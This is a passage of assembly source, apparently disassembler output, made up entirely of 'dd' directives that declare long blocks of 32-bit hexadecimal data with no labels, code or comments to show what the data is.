		dd 0CA118501h, 8D3F8445h, 5D203CCDh, 717F297h, 8D97BB8h
		dd 3641EC75h, 7D00907Ah, 9CB483C0h, 0C2DC85h, 0EC0F4C2Eh
		dd 9BD024CAh, 0DEDF200Ch, 972F84Eh, 77310B84h, 0EBCB1400h
		dd 0B0C07E39h, 4E211415h, 0AE0837BEh, 994CB661h, 0A798D800h
		dd 37E4AD27h, 903A0195h, 59BFEFE9h, 4E7821F5h, 0C6C98874h
		dd 6B447053h, 0F1EA1B22h, 16E1207Ch, 220C2372h,	0DC9D00BAh
		dd 96BBFDE9h, 0A1C045E6h, 0F124007h, 7BA5046Fh,	988A52F7h
		dd 0FB089C80h, 0C49EF29Ah, 0A5A8407Bh, 6E9BEFBh, 227632A3h
		dd 0D6227951h, 7A1404BBh, 4E2FDE8h, 4C14BCCFh, 1C3CE3Fh
		dd 0CA7D538Eh, 680CA9AEh, 3879988h, 486DDD53h, 81016E76h
		dd 1B47C2F4h, 4AE82406h, 0C0770BD9h, 0EA002F4Ch, 0A74BD43Ah
		dd 0FAD34091h, 2EAD196Ah, 30CB44B0h, 0AF717A74h, 3801DA9Fh
		dd 0D03DDCC2h, 0FD00D3A2h, 0A51C7B78h, 7DD3EA06h, 0C4BA6023h
		dd 9ADC0234h, 0EC9CD725h, 29CD7C07h, 85D03B7Bh,	64823850h
		dd 8874786Fh, 0DB0077F4h, 2E1C0293h, 6B214h, 0D78F559Eh
		dd 0DF218C74h, 584CBE24h, 68D1FC29h, 0C4063818h, 599774D5h
		dd 0F77F0318h, 3EE65EE9h, 0F01B2A90h, 12059C00h, 0CC71FB0Ch
		dd 3B89F2BCh, 62AACBCAh, 179619B8h, 80EB5965h, 1F85209h
		dd 0E27957h, 867827FAh,	0AF453C93h, 2218284Dh, 54011871h
		dd 5FB03956h, 0A092B807h, 7BE3313Dh, 78CAC083h,	6D4B0C3Eh
		dd 0BE61C0CFh, 8488FB48h, 88C8D16Ch, 6C9248D9h,	9B018B23h
		dd 0A6F2A7FBh, 0AF80EC33h, 0DC7FFBA4h, 9405B04h, 0B8811998h
		dd 1D0053B1h, 52467CEh,	0A84430D6h, 7F148360h, 11D61523h
		dd 0B4BB1F5Ah, 425C680h, 0E57761h, 0FC9D5370h, 0D5D9914Fh
		dd 1CCDB400h, 43D7F1DEh, 81499FAh, 216FEABBh, 0EF259F28h
		dd 0D067000Eh, 12BE0929h, 0FBF08B6Ch, 3A015A3Ch, 0B5F34872h
		dd 3180BFEBh, 8AB1C2BAh, 9100D67Bh, 0DCAFD963h,	69B88CBh
		dd 16BFA2CAh, 32E74975h, 554B00BCh, 0CB120CD9h,	6EAA03CFh
		dd 57C53CD1h, 3206ECD0h, 6CF1630Ah, 1367D4D4h, 27D54488h
		dd 36AD7CC0h, 22F30C1Fh, 0BD193950h, 723C0A01h,	0A96AEC90h
		dd 87CB458h, 9E158E14h,	0BE4770C4h, 778EEFB5h, 7C00B974h
		dd 0EF0A5E75h, 0D90014E9h, 0A8CBCC45h, 0C3D86D51h, 980452D1h
		dd 13C56100h, 179FD270h, 0CDAE0138h, 632F1292h,	607073CAh
		dd 388032D8h, 8A5D000Ah, 0AFBCFD6Bh, 9F1E1A70h,	48268727h
		dd 0C4DD1006h, 48934870h, 128C42E8h, 4039DB47h,	7DFFFAF3h
		dd 5D30EA1Dh, 0C288893h, 0A9AB09E7h, 0B09D6B94h, 56816611h
		dd 519A4050h, 80797480h, 60902B81h, 0A2DF6Dh, 0B037751Eh
		dd 8234BAE3h, 0EF4F0307h, 1F395CC7h, 81D21154h,	0F1AA805h
		dd 285F6F8h, 0A3FD954h,	4CC28B7Eh, 11A46461h, 47217BEh
		dd 2F73C905h, 8CDCC223h, 11FB9A30h, 888EF2A4h, 0A3AA8176h
		dd 33C288FBh, 9A550050h, 256BE18Fh, 0DD4A01B9h,	0B77A9EABh
		dd 392E70F9h, 17034F5h,	48CD6E28h, 4813C00h, 0CAB4F98Bh
		dd 646F5C51h, 4B640892h, 0EA0EBB80h, 0E6B92A40h, 481809ABh
		dd 0C019CBDEh, 1406DC37h, 329E2800h, 21CD8B0Fh,	0F3220A9Bh
		dd 40A8D66Dh, 50350B87h, 698A2430h, 50411E07h, 0D2CDEFC7h
		dd 104C3EA9h, 8C0698Bh,	0BE1401C0h, 0A0300A4Ah,	0ACB67DA0h
		dd 0ACB062ECh, 0ECB1F725h, 0D97810D1h, 0B0CE0729h, 5011C96Ch
		dd 9A6A82B6h, 0C0DCCC5Ch, 0AE961061h, 6C360086h, 8EA9CAD7h
		dd 25192B9Bh, 0A82A2233h, 336FD5ECh, 0A1D8D736h, 7D9A2A12h
		dd 0B4C814CEh, 1F8E30C0h, 859A08D1h, 0F0837975h, 0F8EB5CDAh
		dd 7D40D4Dh, 157DFD66h,	0C9AAD0E6h, 0C899D625h,	6A7CEE05h
		dd 0B5C8F48Eh, 0E1C780C0h, 13CF0501h, 53465347h, 23DC3A88h
		dd 0F319035Dh, 0A2048940h, 0D36D3732h, 9DB8C8h,	0F75FE1DFh
		dd 176549FCh, 7312A0E8h, 0DCD0C201h, 14A91270h,	0FC82EEAEh
		dd 810EDF12h, 80C2BBF8h, 88FA4749h, 743BA98Ah, 0AEA12F1h
		dd 3D0CD0BFh, 9C07BA75h, 0D1244267h, 5792B920h,	14BD0CCCh
		dd 0ED2917E7h, 6A0AB81Dh, 9DCF70Bh, 0FEFC4870h,	80D09474h
		dd 72B40151h, 53ECBCC6h, 8A155900h, 1B9EBE18h, 87B109C5h
		dd 0E81021BFh, 7C77A5C9h, 0F8005CB9h, 0B57D2908h, 0D2AD01E2h
		dd 0DD8DD95Bh, 12C7253h, 4765E718h, 0E1EF420Fh,	6838B951h
		dd 0F87C45C0h, 4C0E6A8Ah, 8084C7FAh, 9832CEDDh,	77C903C5h
		dd 71D3F9AAh, 75CC9EE0h, 0D8F89B1Fh, 919D9603h,	0E9A392h
		dd 60C2AB10h, 87C9ED39h, 97C58100h, 0E89EA26Eh,	998500CBh
		dd 9F7489C1h, 7300D6F7h, 848AF99Bh, 3CDAEDA9h, 0AA36A871h
		dd 70253008h, 742B50ABh, 0AD8900A1h, 6DCCDCA2h,	0CD14C4DAh
		dd 4764DD87h, 0EBA8AF04h, 0EC72042Eh, 0A960B944h, 25237928h
		dd 0C811BFh, 8229CE7Dh,	0C07874FAh, 5F58D351h, 2500C5F8h
		dd 41819F4Dh, 1E2EDFCh,	13AB8950h, 2D758D21h, 1CF87B68h
		dd 922CD01h, 418B85B8h,	78E7C870h, 6B7B06DBh, 78BDD407h
		dd 0C96108F8h, 43E7F239h, 1D58B070h, 0C0D3123Ah, 51697BA7h
		dd 0E1C3A339h, 7C4D1796h, 7D3B28E9h, 88EF740Ch,	7A0937CFh
		dd 0C4A75762h, 0ABD40000h, 14CD96FAh, 1B009402h, 1EF42CE3h
		dd 178FB9BFh, 9AA2F11Ch, 1757C0D8h, 6534FFEh, 8FE70C14h
		dd 7206E8C9h, 3432F225h, 3BCA00C8h, 5165AA79h, 2CBCE038h
		dd 7E80F14Fh, 0CE159014h, 0C858089Eh, 11AFCB7h,	29CBCCBCh
		dd 0C486FCB8h, 0D94F6CA5h, 20028h, 74F2C960h, 7A9CA455h
		dd 39CBF800h, 0A7583F62h, 30E7023Eh, 536B94B3h,	0CB08E051h
		dd 0E17F6752h, 38A6CA84h, 7498B0BCh, 7410553h, 7EB969Dh
		dd 8C03FA24h, 0DE010189h, 7A622EF7h, 0DC489BFBh, 0E46B4409h
		dd 0BC38D701h, 61C25873h, 142E08DCh, 0A0522B3Ah, 0C698EC3Ch
		dd 9DA320C7h, 2E01F702h, 635F1Ah, 981DBFE8h, 0BD2F2090h
		dd 461C80EDh, 0A0D30BF7h, 246FD5C8h, 1D0C8B02h,	854FC67Ch
		dd 0F73889FEh, 9248141Dh, 3C6F4B8Ch, 37F1D400h,	40F251CAh
		dd 707448CAh, 0A882FD1Fh, 40DDA914h, 86EAB434h,	0A028A605h
		dd 84A2C725h, 29CF76C0h, 3B14314Ah, 81B051E2h, 5F62F0BBh
		dd 0A6508047h, 14F2B9D6h, 847F09C7h, 8163112h, 8820C4BCh
		dd 0CC30A24Bh, 2F815392h, 0A4968ECAh, 538B9500h, 61FB0DCCh
		dd 1A471254h, 0AD70D376h, 6B006E72h, 9293ABF1h,	0A0A8EDh
		dd 640CD98h, 875EF981h,	7591C49Eh, 3E617F00h, 339E7D6Ah
		dd 995D3D00h, 0D24EFABh, 0AE6F007Ch, 6BF798E8h,	8F6019BFh
		dd 86EDBAC8h, 0DD15053Dh, 4FCAEA0Fh, 0A480AC8Ch, 2A851BF9h
		dd 80745300h, 0B6CEEC84h, 3F580063h, 0D6966911h, 0D710F29Dh
		dd 4D0BA8F3h, 0D0467FA3h, 51CC010Eh, 40BA8FECh,	0CBD96B55h
		dd 80DC3CB9h, 0B8CE8A00h, 0A7FC8472h, 7F9D143Eh, 737430C6h
		dd 0FBD200D9h, 58FF4E8Bh, 160E6126h, 0C1747B1Ch, 0F9A69319h
		dd 4802BC20h, 0A01409Ch, 149A7AAAh, 40D1DDE7h, 123B73D0h
		dd 0A54D9476h, 8138117Ch, 8F3F2860h, 0E2196B80h, 0C6198D03h
		dd 0D83AD4h, 0AE519216h, 0A3E52E0Ah, 6F6ACC00h,	72BA659Eh
		dd 0B0C0D88Dh, 9A2481A7h, 6E40C022h, 7BC93BEEh,	18CB0457h
		dd 8EE2CAA9h, 0C0D28850h
		dd 109CB778h, 83AE6C38h, 8E49CBD0h, 0A6F10295h,	0EE96E136h
		dd 0CB9C3056h, 678689h,	0CCC9B194h, 0E897180Bh,	0B8C02157h
		dd 85618638h, 3666149Ch, 0D188688Eh, 791FF8C0h,	0E277268h
		dd 9D0CC97Ch, 0D987F682h, 482BBC81h, 8807FB36h,	1DD7EFDCh
		dd 0E58973D7h, 60C8E48Ch, 4C983256h, 2DC184EFh,	60545723h
		dd 6B489100h, 8C68BCC4h, 4E2C9900h, 0D292F13Bh,	0CFF40001h
		dd 586C5C2Fh, 7B2C0A42h, 928A342Dh, 40D45CA0h, 0D0ACF399h
		dd 0E090BA28h, 652C40A1h, 801C6C14h, 53D45436h,	408D00B5h
		dd 0B7C21C26h, 2F00AE5Fh, 0AD75507Bh, 0A0CB12DEh, 26AACDB4h
		dd 0D9022C5h, 0F85885A2h, 0A3495D2Ch, 1F3B838h,	5A6578F0h
		dd 20B5373Ch, 5301FDD0h, 16ACA510h, 98208CB6h, 0F9341E73h
		dd 0CFE8E66Ah, 159214A0h, 44863D7Eh, 0F8F5D28Dh, 9D7CFE37h
		dd 0CD79D960h, 0B909E496h, 813A1040h, 0DAAADE7Ch, 9E2E89Eh
		dd 0ECE86520h, 0AD02DBBAh, 0CD9D6AF1h, 60E453h,	0EB44221Ch
		dd 0C77C6607h, 0B94EBE02h, 0F1A2E13Bh, 18B77140h, 33B50BCFh
		dd 0EC68EA22h, 0E601C56Bh, 35D606F7h, 20F203FEh, 322F070Dh
		dd 0FCF998FAh, 0A509B7D1h, 81F0A9E5h, 0CD6CB998h, 1482C068h
		dd 0A8AF93EFh, 0BADCF880h, 0A0953C51h, 0A97FB138h, 9A970C88h
		dd 0EA08929Bh, 1B41A360h, 24F2E90h, 69D87FDh, 78419C79h
		dd 0C7CC30B6h, 0E3B495Ch, 0E938C458h, 0EE640437h, 0FC4BC49Dh
		dd 0C0CED088h, 0E4D4268h, 0CA9200F7h, 1C7A2DC2h, 10909D21h
		dd 4CC58224h, 0B3B6418Fh, 0CE6D0043h, 0A44906A6h, 9065BB08h
		dd 482FFB5Fh, 1F005F23h, 6E32F5B8h, 0B1B3051Dh,	0C804364Ah
		dd 0E80377E8h, 0B52DDCCCh, 0E3BC8819h, 71BE00CBh, 1A6B9796h
		dd 0A971541Eh, 0A5798503h, 4A644F38h, 0C88CCD90h, 0CF1FCA90h
		dd 606E3A6Fh, 83497AFh,	80606998h, 98AE57D1h, 1B84620h
		dd 259C289Ah, 842885A7h, 50407AA2h, 0CA09532Fh,	1C14479Ch
		dd 0BCFD209Ch, 0C241CB09h, 0F100878Ch, 98404FF5h, 0C471F74Ah
		dd 16F00097h, 98743B55h, 1B07C5F5h, 8AA4B9A3h, 10BF082Ch
		dd 5F9AA7ACh, 0B4C7C034h, 759D4380h, 1FC09264h,	8FEF4F58h
		dd 0A927D005h, 2184A6Ch, 0E9819B9Ch, 0B444B847h, 6F371D60h
		dd 9511CC01h, 5DC69BDDh, 3C5874h, 33F5C228h, 76CDCBBEh
		dd 0CC08FC99h, 53746052h, 7E46CA83h, 93006722h,	803A538Dh
		dd 50BB1A25h, 4C9FC38h,	3E7671CBh, 0D7CCD158h, 642075BAh
		dd 0C490A254h, 8856E84Bh, 9CCC6C44h, 8479CC90h,	0BC3A020Bh
		dd 324D7344h, 61C8848Ah, 848BC5BFh, 4D0A40C8h, 0D71160A9h
		dd 20BC09A6h, 0A88C2A0Bh, 237F0409h, 0E8E08924h, 6F3E350h
		dd 1B20EDB5h, 685D2836h, 52F709C4h, 81745186h, 0F2A6FBA0h
		dd 8874187Eh, 0FB01A9A4h, 0FCDEE0E8h, 0A4421145h, 539030D8h
		dd 9ECA7F12h, 970B50CBh, 0E8825389h, 0F448EE71h, 514C47FCh
		dd 24044BDCh, 0C8B36479h, 0C698EB1h, 0BC7F011Bh, 3F12405Dh
		dd 43D02233h, 0E7180898h, 0C00E1859h, 98651B1h,	0CA825375h
		dd 91601408h, 8A92005Ah, 0E2661953h, 0D2631394h, 800817B0h
		dd 36517914h, 3CD0524Bh, 50E7CFF2h, 73E0B2h, 98FCAD54h
		dd 0C9EBFADCh, 0E3D988h, 0B8FB751Ah, 81A4E5D4h,	0D600C298h
		dd 5C116720h, 90A1FE42h, 0CC6C2EB8h, 9044614h, 0CBFBBD00h
		dd 23197F3Bh, 0BC6707C6h, 64D9ABE8h, 0BC0806Dh,	2B05CB29h
		dd 4AA180DEh, 2CD35CC4h, 0AC9BD192h, 764DA089h,	0BB3CF4D2h
		dd 0F4308F97h, 0DEF9A71Ah, 9505A3h, 0B88FD571h,	1C13FDE5h
		dd 0FACE6101h, 79DE3853h, 16B4E840h, 84B7486Eh,	7837CF04h
		dd 2320ADD7h, 151C3DA4h, 8AB69193h, 0DF8FA065h,	48BFC0B8h
		dd 11D42CEh, 2225FABBh,	5350F298h, 3AC972C8h, 12EC38A3h
		dd 6F13CE92h, 519C6001h, 2F2A211Dh, 0D023E8h, 1012BB64h
		dd 7C0041A6h, 4627DA81h, 0B1ECCA6Dh, 0DDD4AFC4h, 49CBE830h
		dd 5C66591Eh, 2274414Ah, 0A87C03E1h, 0E0AF1F1h,	0E80936CBh
		dd 19A2C98Bh, 602D76D4h, 39D48200h, 0B9A705C2h,	0C401FFE4h
		dd 868DFD9Dh, 0EC44DD8Fh, 0CE897CB9h, 0F6F9BCB1h, 5FE47065h
		dd 43EE3660h, 22920500h, 0B08BF37Ah, 0A0FC5CBFh, 0DD0ECCC0h
		dd 4116CA11h, 1C0199EEh, 0EC8EDF20h, 430FB43Ch,	16F0271Ah
		dd 0DA11E7F2h, 0F84004C8h, 38D98D52h, 23A9FBC8h, 671196F2h
		dd 0FBA2007Dh, 44F9A503h, 9E0CB701h, 216D749Ah,	0AE3F0434h
		dd 0EEFF189Ch, 0F8A9DC80h, 722303CDh, 3186C73Dh, 0BE62E105h
		dd 640760FEh, 0E92219D3h, 4C656074h, 0E671768Fh, 758A3972h
		dd 1E350D0h, 0F2FD042h,	347F6E6Fh, 64ADF7CCh, 0B0CB0943h
		dd 4D10815h, 571A2422h,	9318F162h, 2CB6B530h, 0EC2EBFE0h
		dd 53CC5013h, 0B694B4h,	6891EB12h, 66823051h, 5F627B00h
		dd 437554EEh, 983900D7h, 0DF9CE2D2h, 8B4E1AF1h,	9D9F4C30h
		dd 0EACA26CDh, 0B4194038h, 851ED760h, 9E80D405h, 0E79F6883h
		dd 0D5BCC05Fh, 41DB06ECh, 0EBA84E12h, 80D78890h, 9DD82668h
		dd 2F6C137Ch, 5F23B8h, 0E8B27DA7h, 4C1DEC0Bh, 0BE4903D7h
		dd 9C8013FCh, 2F018CBDh, 763702A7h, 7509C46Eh, 0E7209901h
		dd 6B9582F1h, 0D90202Fh, 0A2486048h, 91620098h,	559E702Dh
		dd 0B13AF836h, 185ED10Ch, 0C05F39EAh, 94965007h, 71CAF12Dh
		dd 260428DEh, 0C5097092h, 64A00E49h, 0A3019306h, 68E2CE1Ch
		dd 123A04A8h, 3CF07CB8h, 82C00187h, 5E67CE29h, 46A430F2h
		dd 615D4C73h, 2C521ECh,	43A26CEEh, 8D356860h, 17C2154h
		dd 81930D33h, 43E1DF0Eh, 703C8C0Ah, 0A912E500h,	0A8588789h
		dd 44B5E100h, 0FFD733FDh, 20AB007Eh, 32842EA3h,	4E03438Ah
		dd 1AEA1999h, 17FCB80Eh, 20CB3D2Fh, 0C2C73C00h,	86EC3BDBh
		dd 84024D0Fh, 90970AA5h, 5EBE000h, 1CDA64h, 996AA80Fh
		dd 0AD22EA11h, 6F09871Ch, 0B0C0800h, 1DFD1230h,	0CDCC71h
		dd 0A92960A7h, 0D4018396h, 0D61C7DE6h, 5C60AB33h, 0E0B17804h
		dd 52A5152Eh, 701CC861h, 760200E5h, 0AA959D8h, 918AB301h
		dd 20B557EDh, 5CBC0028h, 8C6A008Ch, 0F8C11324h,	1616AE62h
		dd 42B64Eh, 5790E69h, 4CF4A20Ah, 8E52140Ch, 4A4C05F4h
		dd 0D840EEEAh, 0F3217E77h, 83C20089h, 0C4ADFE23h, 0E9129160h
		dd 5422CF6Dh, 80A07604h, 29785AA9h, 0A045412h, 8FE69420h
		dd 0F88EBCD4h, 10C05B88h, 0B70F490h, 5283FD9h, 0CEA1BC24h
		dd 0C0418870h, 2439A5A4h, 0CF72B705h, 0D005B447h, 0FC8BF937h
		dd 30698EC4h, 750CF073h, 179824B5h, 3A7240F0h, 0BB39FF6Dh
		dd 903C81E0h, 6B0FDF9Dh, 5BB80838h, 307D018Ch, 324171B4h
		dd 0E8406E04h, 0F4271964h, 0EFC8C475h, 81FC018Bh, 78286C6Fh
		dd 0EC8C5BB8h, 1DF01C2h, 18C452DDh, 2A478D3h, 8E67D768h
		dd 0F445096Bh, 6760C6C4h, 0C44F5BB6h, 913C88h, 171158Dh
		dd 970A232Dh, 0E7A5E103h, 0A05BF694h, 9C8B10C3h, 0FA0E05ECh
		dd 3D94823Bh, 0A9158A31h, 90B8E0h, 0E32834B0h, 49AA4B9h
		dd 0B2A01400h, 9D9CBACFh, 60EAF496h, 4B58B1C1h,	711D5C5Eh
		dd 84820F38h, 0E29CCB4Ah, 623C74E6h, 78E60ABEh,	4D17D742h
		dd 8810CBF9h, 0F361C38Dh, 0D88BA1A9h, 0DD48F617h, 0A59D38A4h
		dd 45902944h, 637BE490h, 4C32DF75h, 0C1588076h,	7538906Bh
		dd 3EAB00BBh, 2DA79EDAh, 9572CD15h, 0BFA4BA0Ah,	14B6701Fh
		dd 0ACBE00E1h, 0B45C78C9h, 7C25A201h, 16E400DDh, 94D5D7EFh
		dd 90DC5AB4h, 1CF31FD4h
		dd 53256E0h, 20057180h,	0B923A198h, 24DD5100h, 4950943Dh
		dd 153600AAh, 5C540C6Dh, 8CFEBFF3h, 9C066490h, 0EB4ADEACh
		dd 79550F98h, 0DAB385AAh, 0CC8C0D8h, 90CEA747h,	0F985014Ch
		dd 5710BC09h, 4030282Ch, 0F84865C0h, 8C75BC54h,	989BC43Fh
		dd 31B8AA7Fh, 13E7103Dh, 0F6520BBCh, 0A5360708h, 2440848Ah
		dd 0BDBC8ED6h, 84DB2CBAh, 0FE892F50h, 3C32045Eh, 0C017E95Ch
		dd 0BE1CF164h, 6C3840EDh, 0DE0533C1h, 9D63CF73h, 28A47894h
		dd 6CD302D9h, 0EA8D30E2h, 0E4592872h, 0C0BAE07Ch, 729C1650h
		dd 0B000E6A0h, 16149AC0h, 42DB3BEFh, 75DE3970h,	532A7C58h
		dd 0B8008C69h, 8B9C6F93h, 3E7DD02Eh, 210BA513h,	8C4839CCh
		dd 0EC99F396h, 1FD8480h, 78CD6E4Dh, 97801682h, 22FCE2E4h
		dd 43A00EEh, 4E232C8Ah,	56028D0Fh, 0A82BA750h, 2F147E47h
		dd 34B60490h, 0A2107500h, 0DE6C6188h, 0AAAB1360h, 5F4E00FDh
		dd 0B637DFF3h, 95A754B1h, 6A6588D4h, 0F6D1606Eh, 0B16500Fh
		dd 76667E28h, 0BB07F07Ah, 171303AFh, 4F8A9690h,	0BCF300C5h
		dd 7B9711A6h, 0BF12AE7Fh, 0BCE26BFCh, 26AA3F10h, 1458CC3Ch
		dd 76C48751h, 0CBC11E60h, 77364117h, 0CE6CF4C1h, 8DC8403Fh
		dd 0BF73C9A4h, 9008AC64h, 0D95674C0h, 0B9F14049h, 17D76A0Ch
		dd 5E8DA0A0h, 9E9C9075h, 0A203FA5Ch, 99CCE2BCh,	2FC0E8D4h
		dd 4B989629h, 7559A851h, 3A951818h, 59E45900h, 1CB318C6h
		dd 0B5F6861h, 2845F80Dh, 0DC608DC4h, 0FF13C274h, 1802482Dh
		dd 0D06C5AE3h, 0CF4713C8h, 0D74402A3h, 0A47A8E93h, 59D46D45h
		dd 5C7E002Eh, 9C98CE66h, 210AFF80h, 342551BAh, 507FB101h
		dd 11A6933Bh, 1B79190h,	0C18C1279h, 906CA7FDh, 889C8B5Ah
		dd 9D65C0C8h, 0E359F714h, 2F760918h, 0D43499BAh, 240F9069h
		dd 24F0530Ah, 172700F0h, 807091DCh, 2E27A4CFh, 0BB4801C8h
		dd 536016D6h, 0D8011061h, 0E7E478h, 0B41E4BF0h,	1917C0FDh
		dd 0F6C91A13h, 9522C09h, 88689D54h, 0EB606A65h,	14CAB14h
		dd 8AF66248h, 0E05801F8h, 89263238h, 0C60B5857h, 0BD8CC8CBh
		dd 0B7F616ACh, 6A821BFh, 587C09EEh, 1F8C8EACh, 96CCDA96h
		dd 0E6C8D003h, 0A8008022h, 9A6AF3CAh, 604FEE92h, 2E7270DEh
		dd 41E97CA4h, 7D53CAD4h, 1EB8B4h, 0F5A9CD83h, 4D510285h
		dd 0B8B9F983h, 5E6028AEh, 0C4C5C46h, 2B601E7Bh,	0CBDD40C8h
		dd 0A738C572h, 3145448h, 404378B8h, 1C42E77Dh, 818C5E52h
		dd 0DF823D9Fh, 0DDA460CDh, 0BA775909h, 9D00D13Fh, 425AC1A1h
		dd 9B665B0Ah, 0C0402B50h, 0A1C843E7h, 50821890h, 9447E61Ch
		dd 469DB440h, 9743171Eh, 0AD20D82Ah, 0EEB104DBh, 0C0C68ED7h
		dd 0F7478D1Ch, 0A48CB5Dh, 0B095F8D5h, 12E2680Fh, 30A33022h
		dd 74111482h, 6488AE15h, 0C0BBBC8Fh, 2638CA7h, 0CE25FA0h
		dd 0DC511204h, 0AFC7EF3Fh, 4FB46FC6h, 6308BC61h, 0C0022A5Bh
		dd 0E97DF9BFh, 0D2109600h, 0AC0782F3h, 9CC1C4E9h, 9EA087C7h
		dd 745963FDh, 24CB4ABEh, 442BAAE4h, 5D057B23h, 0F8928A18h
		dd 785E5Bh, 8DDF5C78h, 963B5672h, 0ACB528E6h, 46FBEB0Eh
		dd 886F171Dh, 27EFE403h, 0E0E092B3h, 0BF25AD81h, 2882916h
		dd 2ACE3B0h, 0F8E161E2h, 89F1877h, 86F2A3FBh, 0AB403EC4h
		dd 0E76DFBA8h, 485DC300h, 0D638F361h, 88504B80h, 0BF10141Ch
		dd 0AC14BAD3h, 0D2AC64A0h, 0E789038Ch, 3CDAD1DEh, 0A40646D0h
		dd 4D9B0814h, 24E125E4h, 9CE9EB1Ch, 44061100h, 1E9FF1CDh
		dd 0F6717F00h, 0DE8D3817h, 19B901F3h, 7D624A0h,	0BC3C6064h
		dd 97493C94h, 8FC91104h, 0F4146A7Bh, 80E4724Fh,	2C0A00B6h
		dd 21DFA29Eh, 0C4EE7978h, 3FCE0604h, 6C80B431h,	0B1F21D49h
		dd 18D0D140h, 84250064h, 0FD6F1E2Ah, 0C94B8E6Dh, 93E79CC1h
		dd 30E2EC45h, 0EA3B700h, 60AFEB4h, 29F7F6E2h, 4428002Ch
		dd 43ED8DAEh, 9C710510h, 0C3F1DD8Fh, 9822957Ch,	0FD9000BCh
		dd 966EF04Eh, 3B27CD6Bh, 4CE044FBh, 2CC41C44h, 0E9091FEEh
		dd 9FBC60BAh, 296117EBh, 0E2A0A26Bh, 7A913367h,	0A46B2FA0h
		dd 0D8AE1Eh, 2D10535h, 0BF257271h, 1ECC5913h, 0BA92CAh
		dd 0E720A704h, 0E0D24C61h, 5A23EC3Ah, 40E34800h, 4EFA6259h
		dd 0BFACC18Ch, 4C0C72FDh, 316F20h, 0BE0C40CAh, 63E8013Dh
		dd 0E1A5DA08h, 22E8399Bh, 112607C0h, 5F75DBA8h,	6CADCFA0h
		dd 2894B51Eh, 467C282Ch, 42F0767h, 0E4C0A1BFh, 9F365141h
		dd 0A001F824h, 9C80B59Ch, 62C67A45h, 74BD91E8h,	0A3005452h
		dd 490C6684h, 0D903A0h,	0E14D12DEh, 0AA257D63h,	0FC98694Ch
		dd 7C008C3Eh, 5427A0F0h, 0FC96E8C4h, 4184BCEDh,	0F8BF65FFh
		dd 0E7142250h, 25DC4DC9h, 37C021EBh, 6CD062E4h,	38FA02EAh
		dd 72F295E9h, 5ADF5840h, 7D84D659h, 79343E59h, 182ED05Fh
		dd 0D1004023h, 0D0E49BA8h, 612703B2h, 7944D23Bh, 3C504980h
		dd 229C9052h, 0FA48003Fh, 73180131h, 6500E9CFh,	0BE6A72DFh
		dd 583204FFh, 0AF00F498h, 0D3ED6185h, 511ACB3Fh, 60A83C9Ah
		dd 9CD21ED4h, 698A8818h, 53F19604h, 0A3FFE41h, 0B7C789Eh
		dd 53BFCD6Ch, 33D787A0h, 0D66530B2h, 0E00145E7h, 150D0171h
		dd 0DC743BEFh, 3F0324FEh, 74ECA61Ch, 9F698B21h,	5051429Bh
		dd 84918C3Dh, 0F3D8106Bh, 0AEAF01CAh, 85A7436Ch, 69142055h
		dd 0BD27E88h, 4BFAB61Fh, 0EB5F04C0h, 5E323988h,	8F104441h
		dd 3A0D5FC9h, 366A186Ah, 9E2018CCh, 7D3B4F76h, 6578604Ch
		dd 5A240E40h, 7E4C9014h, 5224FD44h, 465E14F8h, 87E50067h
		dd 75026B69h, 12241247h, 0C920F0B3h, 0E0557801h, 0A70529Ah
		dd 53D8453Ah, 9BE8434Ah, 0B0F728BAh, 4BAEF321h,	0B4BB7104h
		dd 88E8CB46h, 0D6AFDBDh, 6CFC38F1h, 0C6460807h,	90A8B7D1h
		dd 0E1F3EF17h, 547DF022h, 5E8E4008h, 71EAB1C3h,	2310C05h
		dd 7C8CDE4Dh, 1F3A00ABh, 0CC58A261h, 21005E83h,	1BD26409h
		dd 95193Bh, 0CDCB9AB7h,	0B128FCFFh, 0B18A85Ch, 0C112702Bh
		dd 0A989F9ECh, 0C387CBA1h, 71CDA07Ch, 20C28FDAh, 8264960Ah
		dd 1597FA0h, 852FF0EAh,	14BE45EEh, 78E1BC20h, 0D9440048h
		dd 0D1BC16D3h, 44979987h, 39EA18h, 0D915B49Bh, 24E2B146h
		dd 693BB0F0h, 399C30FBh, 8B8843h, 0A874398Fh, 65661815h
		dd 7D468C01h, 6D6241CAh, 8012D842h, 0E2DF9DE3h,	21A400EAh
		dd 0FC9C3E31h, 6F043547h, 38501D48h, 5041ACB5h,	0EB01DB13h
		dd 5DC050D5h, 0F900D0C5h, 7E967D07h, 4FCE9h, 0AE72156Eh
		dd 0E43CDB46h, 3E437703h, 2F8753h, 9A347058h, 92C22499h
		dd 980AE500h, 26A039ACh, 0CACC008Fh, 1CBFD2D6h,	0C10714C5h
		dd 59B79FAEh, 0F787DC40h, 9A92304Dh, 13B23A28h,	11A6C500h
		dd 0BF4159FBh, 60D27216h, 14AB2092h, 0A90302FCh, 30E6B885h
		dd 75D7A09Eh, 1CA8006Eh, 0FFAD6631h, 0CF394679h, 146FBA06h
		dd 0E8145FEh, 3E1A7356h, 0FF308E18h, 88C0095h, 600E4BADh
		dd 71042FD5h, 0A277A959h, 4266A380h, 11170C14h,	3A109740h
		dd 8A9E803h, 0B8CD2F89h, 0F34CD916h, 7E6B9D8h, 11F6ABECh
		dd 0CAC5F0E1h, 72004F36h, 48190A89h, 0D2C70FEh,	99A9D805h
		dd 0AB040ED1h, 0E34C4DC0h, 30FAD1FCh, 93EE02E0h, 0C51973Eh
		dd 18D21323h, 0DA162018h, 6B1F9A7Ch, 0D703DB64h, 7CB7788h
		dd 0F5C00151h, 0C195C0DAh, 0C870BAFAh, 287D4800h, 4297B963h
		dd 0EB160024h, 3C47F230h, 30CE450Fh, 0B306012Eh, 908C9795h
		dd 3A785C7Eh, 5B8274C0h
		dd 3C2C2616h, 18E9549h,	80CEF028h, 0C9D62AE6h, 388A3605h
		dd 0A683F271h, 0B0E0068Dh, 58ADEAC6h, 0B7FE0A0Dh, 0DBDC39C5h
		dd 0BC173057h, 97C28D11h, 25FF8B00h, 0DA8C1910h, 853A009Fh
		dd 240ACAE6h, 0CF305C23h, 0CED9821h, 28D5009Bh,	0DFDD44Dh
		dd 0FE0A9383h, 80B1641Fh, 0CC460A0Eh, 0A27B03Dh, 0E4C616ABh
		dd 55C101A0h, 83488217h, 0C8016A78h, 10D9E696h,	22CCAE50h
		dd 0FC7076h, 0CE1DBBDh,	7F1E5620h, 7D1C9578h, 0AF4046B2h
		dd 0B6304E75h, 5F0800E5h, 6D0CAD77h, 4C01B741h,	46CF6E2Dh
		dd 3AE37678h, 0EFCC8118h, 209DC615h, 588C97E7h,	0AA746F00h
